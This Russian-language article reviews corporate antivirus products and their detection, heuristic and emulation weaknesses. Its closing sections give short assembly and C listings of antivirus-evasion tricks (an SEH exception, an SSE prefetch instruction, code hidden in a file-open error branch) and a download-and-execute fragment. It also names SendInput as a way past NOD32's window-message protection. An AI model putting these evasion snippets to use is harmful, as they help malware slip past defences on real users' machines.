Антивирусы в корпоративной среде

Источник: itspecial

От качества антивируса во многом зависит надежность корпоративной сети. Но какой из них выбрать? На рынке присутствуют множество игроков: KAV, DR. Web, Trend Micro, Symantec, NOD32, MCAFEE, продукты которых мы тщательно протестировали на широком спектре потребительских характеристик, описав полученные результаты в настоящей статье.

Антивирусы с точки зрения конечного пользователя представляют собой "черный ящик", качество которого (в отличие от прикладных программ) невозможно оценить невооруженным глазом. Снаружи находится только интерфейс, а "движок" скрыт глубоко внутри и демонстрирует свои возможности только при встрече с реальной заразой, что происходит далеко не каждый день. "Популярные" вирусы, вызвавшие массовые эпидемии, на роль тестового "эталона" не годятся, поскольку распознаются практически всеми антивирусами, даже самыми отсталыми. А вот полиморфный rootkit, упакованный новой версией упаковщика защищенных файлов, способны распознать лишь лучшие антивирусы, да и то далеко не со 100% вероятностью.

Как показывает практика, подавляющее большинство потребителей (в том числе и корпоративных) в выборе антивируса руководствуется отнюдь не техническими характеристиками последнего, а личной симпатией (антипатией) к конкретному вендору. Очень часто приходится слышать утверждения в стиле: "мы используем продукт XXX от компании YYY, вот уже пять лет полет нормальный - вирусов нет". Так, может быть, это не вирусов нет, а просто антивирус такой слепой, что их не видит?! Ведь далеко не каждый вирус разрушает данные, поскольку это демаскирует его. Он может годами сидеть в информационной среде, занимаясь шпионажем или открывая back-door для удаленного управления системой и не вызывая и тени подозрений.

С другой стороны, антивирус, "ругающийся" на все файлы подряд (даже совершенно безобидные, как, например, стандартный "Калькулятор", упакованный широко распространенным упаковщиком UPX) еще хуже, поскольку создает атмосферу постоянной тревоги, вынуждая компанию тратить огромные средства (и время) на анализ ситуации и поиск черной кошки, которой нет, в черной комнате, которой никогда не существовало.

Вот какая, оказывается, непростая штука - выбор правильного антивируса!

А нужен ли антивирус?

Во времена господства Windows 9x необходимость антивирусов никем не оспаривалась, и тогда они являлись своеобразным "костылем", ликвидирующим наиболее слабые стороны операционной системы, а именно - катастрофическую незащищенность. В Windows 9x любой исполняемый файл имеет доступ ко всем ресурсам, в том числе и возможность незаметно устанавливать драйверы, переходя из прикладного режима на уровень нулевого кольца и встраиваясь в цепочку между оборудованием и операционной системой, скрывая от последней факт своего существования.

С приходом Windows NT/W2K/XP все изменилось. NT изначально проектировалась как защищенная операционная система, поддерживающая разделение привилегий, и при правильно настроенной политике безопасности вирус просто не может внедряться ни в какие исполняемые объекты, а потому оказывается нежизнеспособен.

Время глобальных вирусных эпидемий уже прошло. Даже почтовые черви, достигнув пика своей активности в 2003 году, к середине 2006 года сократили свою популяцию более чем в десять (!) раз. Зато приобрели большую актуальность целенаправленные атаки и rootkit'ы. Создание вирусов из мальчишеского хобби превратилось в бизнес, и туда хлынули деньги, причем весьма приличные, надо сказать. Стоимость одного "заказного" вируса в зависимости его качества колеблется от $500 до $10.000, но даже серийные поделки редко опускаются ниже $100 - $500.

Антивирусы испытывают огромные трудности с детектированием неизвестных им вирусов, и даже мощный эвристический анализатор - плохой помощник, поскольку, заказчик (как правило) проверяет купленный вирус на самых последних версиях антивирусов и если хотя бы один из них распознает заразу, вирус отправляется на доработку.

С rootkit'ми дела обстоят еще хуже. Грубо говоря, rootkit'ы - это вирусы, построенные по технологии Stealth. Попав на целевой компьютер, они перехватывают ряд системных вызовов, маскируя факт своего присутствия на машине. В общем случае антивирусы не способны обнаруживать активные rootkit'ы, и все, что они могут - воспрепятствовать новым заражениям. То есть если rootkit проник на компьютер прежде, чем пользователь получил соответствующее обновление, антивирус его не увидит! Очевидно, что несерийные rootkit'ы, написанные специально для целенаправленной атаки на данную систему, антивирусами не обнаруживаются в принципе!

Ситуация кажется безнадежной, но… на самом деле, rootkit'ы отнюдь не всемогущи и большинство из них использует для своего распространения дыры в операционных системах и/или прикладных приложениях. Своевременная установка заплаток снижает риск успешной атаки в десятки раз! А если добавить сюда правильную настройку системы разграничения доступа, то у rootkit'а (независимо от способа его распространения) просто не хватит привилегий для проникновения в систему!

Важно понять, что антивирус - не панацея. Это всего лишь одних из элементов комплексной защитной системы, причем далеко не центральный ее компонент.

Быстродействие - одна из важнейших характеристик антивируса. Мало кто хочет расплачиваться за возросшую безопасность падением производительности (тем более, что, как было показано выше, польза от антивирусов довольно сомнительна). Поскольку, быстродействие антивируса зависит от множества факторов, определяемых как его "анатомическими" особенностями, так и типом сканируемого файла, это существенно затрудняет выявление лидеров и аутсайдеров.

Одни антивирусы (KAV, Dr. Web) распаковывают файлы на встроенном эмуляторе ЦП (виртуальной машине) и несут на своем борту сравнительно небольшой набор статических распаковщиков, в результате чего способы обрабатывать даже новые версии старых упаковщиков и упакованные файлы со слегка поврежденной структурой. Другие же (NOD32, Trend-Micro) имеют намного более слабую виртуальную машину и вынуждены таскать за собой огромный набор статических распаковщиков - очень быстро работающих, но, увы, "обламывающихся" с распаковкой даже при незначительной модификации упакованного вируса. Опять-таки, тут все зависит от того, какие файлы мы обрабатываем. Если в тестовом наборе доминируют неупакованные файлы, то обе категории антивирусов покажут приблизительно одинаковый результат, но если подсунуть KAV большое количество файлов, для которых у него нет статических распаковщиков, а у NOD'а - есть, то NOD32 порвет KAV как тузик грелку, уходя в вертикальный отрыв с реактивным выхлопом.

Эвристический анализатор вообще не позволяет измерять свою производительность в естественных единицах. Дело в том, что глубина анализа задается не в машинных командах, а в миллисекундах, и если по истечению заданного промежутка времени антивирус не найдет ничего подозрительного, сканирование файла прерывается и он считается "здоровым" (чем с успехом пользуются создатели вирусов, вставляющие в начало своих творений циклы с большим количеством итераций). Естественно, чем больший промежуток времени отпущен эвристическому анализатору, тем ниже его производительность (даже на здоровых файлах), но выше вероятность найти заразу.

Далее, если антивирус не выполняет полного сканирования файла, а всего лишь ограничивается проверкой окрестностей точки входа, производительность увеличивается в десятки (или даже сотни раз), но вместе с этим снижается качество детектирования.

Поскольку алгоритм работы антивируса зависит не только от его конструктивных особенностей, но и пользовательских настроек (которые, в частности, позволяют задавать уровень глубины сканирования и т. д.) становится понятно, что сравнение производительности антивирусов совершенно ни о чем не говорит. Как минимум, необходимо уточить, с какими настройками и на каком наборе файлов проводилось тестирование.

К тому же, разные антивирусы поддерживают различные форматы файлов (ведь вирусы могут сидеть не только в exe/dll, но и в html, jpg, cur, ico и т. д.). Очевидно, что чем больше форматов поддерживает антивирус, тем ниже его производительность.

Тем не менее, для получения общего представления о ситуации ниже приводится диаграмма, подготовленная независимой тестовой организацией Virus Bulletin, на которой NOD32 демонстрирует поразительный отрыв от своих конкурентов (в частности, KAV отстает чуть ли не на порядок). И хотя условия тестирования явно не указывались (что делает невозможным воспроизведение эксперимента), личный опыт автора согласуется с представленными данными. KAV действительно самый медленный из всех антивирусов, и полное сканирование всех файлов занимает значительное время и сильно загружает процессор, причиняя пользователю множество неудобств. В результате этого антивирус сплошь и рядом отключается или же выбирается самый "легкий" режим сканирования (только exe/dll-файлы без всякой эвристики). Естественно, вероятность обнаружения заразы при этом существенно снижается.

Производительность и качество детектирования различных антивирусов (по данным Virus Bulletin)

Качество детектирования

Тестированием антивирусов занимаются многие компании, в том числе и независимые (например, Virus Bulletin - www.virusbtn.com), но совпадений в полученных результатах упорно не наблюдается. В частности, по данным Virus Bulletin, KAV отстает от NOD32 приблизительно в четыре раза, а по данным разработчиков антивируса Avira AntiVir (см. рис. 3), KAV даже слегка обгоняет NOD32 (98, 96% против 95,65%). Аналогичного мнения придерживается и тестовая организация AV Comparatives (97,89% против 96,71%) - http://www.av-comparatives.org/seiten/ergebnisse_2007_02.php.

Качество детектирования различных антивирусов по данным разработчиков Avira AntiVir

Кому верить?! Увы, в сложившихся условиях верить нельзя никому, и проценты распознанных вирусов на самом деле не проценты, а "попугаи". Какой в них смысл, если условия эксперимента не описаны, а тестирование проводилось на закрытой коллекции вирусов по неизвестной методике?! Даже если предположить, что коллекция подобрана честно и максимально репрезентативно, а не просто позаимствована с CD-диска "10 тыс. вирусов", это ничего не меняет, поскольку совершенно непонятно, за счет чего один антивирус оказывается лучше другого: то ли проигравший органически не способен распознавать сложные вирусы (особенно "обернутые" упаковщиками), то ли он просто не успел обновить свои базы. Учитывая, что вирусы появляются каждый день, а антивирусные базы обновляются отнюдь не синхронно, определенный случайный разбор в качестве детектирования заведомо неизбежен! Тем не менее, цифры, приводимые организацией Virus Bulletin выглядят абсолютно неправдоподобными и никем не подтвержденными. Остальные тестеры не обнаруживают столь драматического разрыва между лидерами антивирусного рынка, и разница между NOD32 и KAV редко превышает 1%-3%, причем чаще всего она идет не в пользу NOD32.

Создатели KAV и Dr. Web размножают полиморфные вирусы в очень большом количестве (десятки тысяч экземпляров), и если хотя бы один из них не обнаруживается антивирусом, то это расценивается как дефект, требующий доработки, то есть качество распознавания в грубом приближении составляет 99,999%. При тех же обстоятельствах NOD32 гарантированно пропускает до 10 экземпляров вируса, то есть распознает зараженный файл с вероятностью 99,9%. Важно подчеркнуть, что речь идет о распознавании одного полиморфного вируса (неважно какого, - любого достаточно сложного), и этот эксперимент может воспроизвести любой желающий. И не нужно думать, что 99,9% - это хороший показатель. 0,1% пропущенных вирусов - это огромная величина! Допустим, в сети находится 100 компьютеров (локальная сеть небольшой организации) и вирус рассылает свои копии каждую минуту. Нетрудно рассчитать, через какое время все узлы окажутся зараженными нераспознаваемыми штаммами вируса!

Главный недостаток NOD32 (и большинства остальных антивирусов) в том, что он использует крайне примитивную технологию для распознавания полиморфных вирусов, а именно - сигнатурный поиск по маске. Часто для одного вируса требуется полсотни масок (каждая из которых занимает отдельную запись в базе, создавая обманчивое впечатление, что NOD32 ловит полсотни разных вирусов), но и этого количества оказывается недостаточно для надежного детектирования.

Уникальность KAV и Dr. Web состоит в том, что для распознавания полиморфных вирусов они используют специальные алгоритмы, разрабатываемые с учетом специфики конкретного вируса. Это намного более трудоемкий, но вместе с тем и значительно более надежный путь, которым (пока) не воспользовался ни один западный разработчик. Что же касается сравнения KAV с Dr. Web'ом, то они представляют собой продукты приблизительно одинакового класса.

Также необходимо помнить и о том, что некоторые антивирусы (и KAV в том числе) не распознают "дохлые" или неработоспособные вирусы, а также программы, которые не были классифицированы как вирусы. Зато их может "находить" NOD32, хрюкая от радости, хотя на самом деле никаких поводов для радости здесь нет. Хуже всего, что NOD32 вместо того, чтобы разбираться с некоторыми "навороченными" упаковщиками и протекторами, просто объявляют их вирусами, а это значит, что любой честный файл, обработанный таким упаковщиком, будет распознан NOD'ом как "зараженный"! И если NOD32 орет, а KAV молчит, то это еще не значит, что KAV - плохой антивирус.

Количество ложных срабатывай, вообще говоря, огромно. По данным Virus Total, при тестировании 11035 файлов на большой коллекции антивирусов, лишь 239 файлов были распознаны как зараженные всеми антивирусами, и в 10796 файлах заразу нашел по крайней мере один антивирус. Это наглядная иллюстрация того, что антивирусам доверять нельзя и у большинства из них качество детектирования находится на зачаточном уровне.

Эвристический анализ

Эвристический анализатор представляет собой мощное оружие, существенно осложняющее разработку вирусов, однако доступность антивирусов позволяет "шлифовать" код зловредной программы, совершенствуя алгоритм маскировки до тех пор, пока его перестают распознавать все эвристические анализаторы. А значит, эвристика способа обнаружить лишь откровенно дилетантские вирусы, написанные "пионерами", даже не удосужившимися протестировать свое творение. Кстати говоря, таких вирусов в настоящее время - подавляющее большинство, а потому эвристика представляет собой довольно полезную штуку.

По данным AV Comparatives самый мощный эвристический анализатор, значительно обгоняющий своих конкурентов, реализован в NOD32, что совпадает с личным опытом автора. Эвристический анализатор NOD32 действительно поражает своей "проницательностью", особенно если учесть его высокое быстродействие. KAV работает намного медленнее, да и качество у него не то. Bit Defender находится где-то посередине.

Рroактивные технологии

Еще во времена MS-DOS существовали антивирусные мониторы (от английского "monitor" - наблюдатель-перехватчик), перехватывающие системные вызовы и выдающие запрос на подтверждение потенциально опасных операций (форматирование диска, запись в исполняемый файл и т. д.). Большой популярностью они не пользовались, зато отличались повышенной конфликтностью, легко обходились вирусами и сильно раздражали пользователей, большинство из которых на все вопросы не задумываясь отвечали "yes".

С тех пор прошли десятки лет. Что изменилось? Ровным счетом ничего! Мониторы превратились в "proактивные средства защиты", унаследовав все худшие качества своих предшественников, а именно:

  • Рroактивные защиты модифицируют ядро операционной системы, используя нетрадиционные приемы программирования (так называемые "хаки"), результатом которых становится многочисленные сообщения о критических ошибках и выпадения в BSOD. Чтобы покончить с этим раз и навсегда, в 64-битных редакциях Server 2003 и Висты Microsoft реализовала специальный механизм Patch-Guard, следящий за целостью ядра;
  • Рroактивные защиты легко обходятся старой доброй имитацией клавиатурного ввода или другими бесхитростными приемами, поэтому они могут остановить только "пионерские" вирусы;
  • Среднестатистический пользователь недостаточно квалифицирован, чтобы отличить "правильные" действия от "зловредных", а потому продолжает не задумываясь давить на "yes".

Короче говоря, если эвристический анализ "карман не тянет", то proактивные технологии из-за некорректно реализованного перехвата системных функций достаточно часто приводят к потерям данных, не говоря про зависания, перезагрузки и прочие мелкие неприятности, оборачивающиеся (в масштабах корпорации) крупными убытками.

Дыры в антивирусах

Антивирус может выступать не только "лекарством", но и объектом атаки, особенно если он содержит компоненты, работающие с администраторскими привилегиями и/или драйверы (а практически все антивирусы их содержат). Ошибки, допущенные разработчиками, позволяют хакеру в лучшем случае устраивать атаки типа "отказа в обслуживании", в худшем же - захватывать управление машиной. И это отнюдь не абстрактная теория, а суровая правда жизни, подтверждение которой можно найти, в частности, на www.securityfocus.com (равно как и любом другом ресурсе аналогичной тематики).

Как показывает статистика, самым дырявым оказывается Trend-Micro, однако конкурирующие с ним продукты также несвободны от дыр, а значит, чем больше антивирусов установлено на компьютере, тем выше вероятность успешной атаки.

Заключение

Подведем итог: всем антивирусам присущи те или иные недостатки, поэтому для достижения приемлемого качества детектирования разумно выбрать двух-трех лидеров рынка, основанных на принципиально различных "движках", например, NOD32 и KAV/Dr. Web, отключив proактивные защиты, поскольку от них больше вреда, чем пользы.

Устанавливать более трех антивирусных пакетов не стоит - качества детектирования это не улучшит, зато увеличит количество ложных срабатываний, конфликтов и создаст реальную угрозу атаки на антивирус.

Технологии эмуляции

Виртуальная машина, эмулирующая ЦП, необходима антивирусу по меньшей для трех целей: а) распаковки файлов, упакованных неизвестным упаковщиком, б) борьбы с "джойнерами", объединяющими известный вирус с "честной" программой в один исполняемый файл; в) распознания неизвестных вирусов.

Самые мощные эмуляторы - у NOD32, KAV и Dr. Web. Они реализуют достаточно полный набор арифметическо-логических команд x86-процессоров (generic x86 command set), однако все еще не эмулируют SSE-команды, самомодифицирующийся код, структурные исключения и API-функции операционной системы, а потому принципиально неспособны распаковывать вирусы, обработанные навороченными протекторами или упаковщиками исполняемых файлов, которые приходится распаковывать на статических распаковщиках, написанных вручную.

В частности, следующий код (см. листинг 1) передает управление на тело вируса путем возбуждения исключения типа "ошибка доступа", о которой не подозревает ни один из трех обозначенных антивирусов и все они видят здесь лишь невинный возврат из функции.

Листинг 1. Ослепление эмулятора путем возбуждения исключения

PUSH 00315E01h ; адрес скрытой вирусной процедуры
PUSH dword ptr FS:[00000000h] ; адрес предыдущего SEH-обработчика
MOV dword ptr FS:[00000000h], ESP ; регистрируем новый SEH-обработчик
MOV EAX, dword ptr DS:[00000000h] ; возбуждаем исключение, передавая
; управление на скрытую вирусную
; процедуру (антивирусы этого не видят)

RET ; выходим из функции

Аналогичным образом обстоят дела и с эвристическим анализом. Поскольку процессоры семейства x86 имеют переменную длину машинных команд, встреча с неизвестной инструкцией делает дальнейшее декодирование потока выполнения невозможным.

Листинг 2. Ослепление эвристического анализатора путем использования SSE-команды prefetch [eax] (предвыборка из памяти)

0F 18 00 PREFECTCH [EAX] ; SSE-команда (неизвестная AVs'ам)
B8 01 E0 15 03 MOV EAX, 00315E01h ; заносим адрес вирусной процедуры в EAX
FF E0 JMP EAX ; передаем управление вирусной процедуре

В частности, встретив SSE-команду prefetch [eax] (см. листинг 2), ни KAV, ни Dr. Web даже не пытаются продолжить выполнение потока инструкций. NOD32 пытается, но это у него мягко говоря не совсем получается. Анализ внутренних цепей эмулятора, выполненный автором, показывает, что NOD32 декодирует код следующим образом (см. листинг 3).

Листинг 3. Так NOD32 декодирует листинг 2

0F 18 unknown ; NOD32 не знает такой команды
00 B8 01 E0 15 03 ADD [EAX+00315E01h],BH ; добавить к ячейке EAX+00315E01h рег. BH
FF E0 JMP EAX ; прыгнуть на EAX

NOD32, столкнувшись с неизвестной ему SSE-командой prefetch [eax], пытается определить ее границы эвристическим путем, чтобы продолжить декодирование остального потока инструкций, но делает это неверно, ошибочно отрывая один байт от prefetch [eax] и присваивая его следующей за ним машинной команде, в результате чего MOV EAX,00315E01h (занести в регистр EAX значение 00315E01h) превращается в ADD [EAX+00315E01h],BH (сложить содержимое ячейки EAX+00315E01h с регистром BH). Как следствие - регистр EAX остается неинициализированным, и по команде JMP EAX эмулятор переходит в "космос", стреляя мимо вирусной процедуры.

Тем не менее, в некоторых случаях NOD'у все же удается угадать границы неизвестных ему машинных команд и декодировать остальной поток инструкций, к тому же, в отличие от KAV'а и Dr. Web'а, он эмулирует стек, отслеживая некоторые хитрые способы передачи управления (типа модификации адреса возврата).

Если же декодировать поток инструкций не удается, то все три обозначенных антивируса ищут в файле так называемые "общие вирусные сигнатуры" (genetic signatures), то есть последовательности машинных команд, характерные для вирусов, но редко встречающиеся в честном программном обеспечении.

В частности, следующий фрагмент (см. листинг 4) вызывает срабатывание эвристического анализатора всех трех обозначенных антивирусов независимо от того, удалось ли эмулятору декодировать поток инструкций или нет:

Листинг 4. Вирусный фрагмент, скачивающий файл из сети и тут же его запускающий

; // получаем путь к каталогу %TEMP%
invoke GetTempPath, 256, WinTempDir
; // копируем имя каталога %TEMP% в буфер FullPath,
; // добавляя туда его имя, под которым он будет записан на диск
invoke lstrcpy, FullPath, WinTempDir
invoke lstrcat, FullPath, FileNameToSave

; // скачиваем файл из сети
invoke URLDownloadToFile, 0, UrlOfFile, FullPath, 0, 0

; // запускаем скаченный файл
invoke ShellExecute, NULL, NULL, FullPath, NULL, NULL,1

Антивирусы Symantec и McAfee формально поддерживают эвристический анализатор, но эмулируют лишь небольшой набор x86-инструкций, органически неспособный распаковывать неизвестные упаковщики и справляющийся только с простейшими вирусами, поэтому надеяться словить заразу, отсутствующую в базе, с их помощью - наивно, причем базы у них обновляются значительно реже чем у KAV'а и NOD'а.

Антивирус Trend-Micro вообще не поддерживает технологий эмуляции, редко обновляет базы и пропускает множество вирусов, с которыми легко справляются его конкуренты.

Эмуляция API-функций Windows

Эмулировать API-функции операционной системы ни один из антивирусов пока что не научился, что открывает широкие просторы для хакерства. Ладно если бы антивирусы их совсем не эмулировали, так ведь нет! Они пытаются предсказать результат выполнения некоторых наиболее распространенных функций, в частности, полагая, что функция открытия файла CreateFileA всегда возвращает позитивный результат, и никогда не заглядывают в обработчик ситуации INVALID_HANDLE_VALUE (неверный дескриптор файла).

Следующий код обманывает эвристические анализаторы всех рассматриваемых нами антивирусов:

Листинг 5. Ослепление эвристического анализатора путем размещения вирусной процедуры в обработчике ошибки открытия файла C:\System Volume Information, который на NTFS-разделах недоступен даже для чтения

HANDLE h = CreateFileA("C:\System Volume Information", FILE_READ_ACCESS, 0, 0, OPEN_EXISTING, 0, NULL);
if (h != INVALID_HANDLE_VALUE)
{
/* вирусная процедура */
}

Защита от WM_ атак

Оконная подсистема Windows позволяет любому приложению независимо от его уровня привилегий посылать сообщения (Windows Message или сокращенно WM_) окнам более привилегированных приложений, имитируя клавиатурный и/или мышиный ввод. Достаточно многие вирусы отключают proактивные антивирусные защиты через пользовательский интерфейс или периодически просматривают список окон, закрывая окно известного им антивируса при его обнаружении, что делает невозможным локальное сканирование файловой системы. И хотя сканирование по сети все еще остается возможным, оно принципиально не способно обнаружить маскирующиеся вирусы и rootkit'ы.

Единственный антивирус, который предпринимает попытки защиты от WM_ атак - это NOD32, хотя хакеры уже давно научились обходить его, используя низкоуровневые функции имитации ввода (NOD32 защищается только от посылки сообщений посредством API-функций SendMessage и PostMessage, но "забывает" про документированную API-функцию SendInput, описание которой содержится в Platform SDK).


Страница сайта http://test.interface.ru
Оригинал находится по адресу http://test.interface.ru/home.asp?artId=20354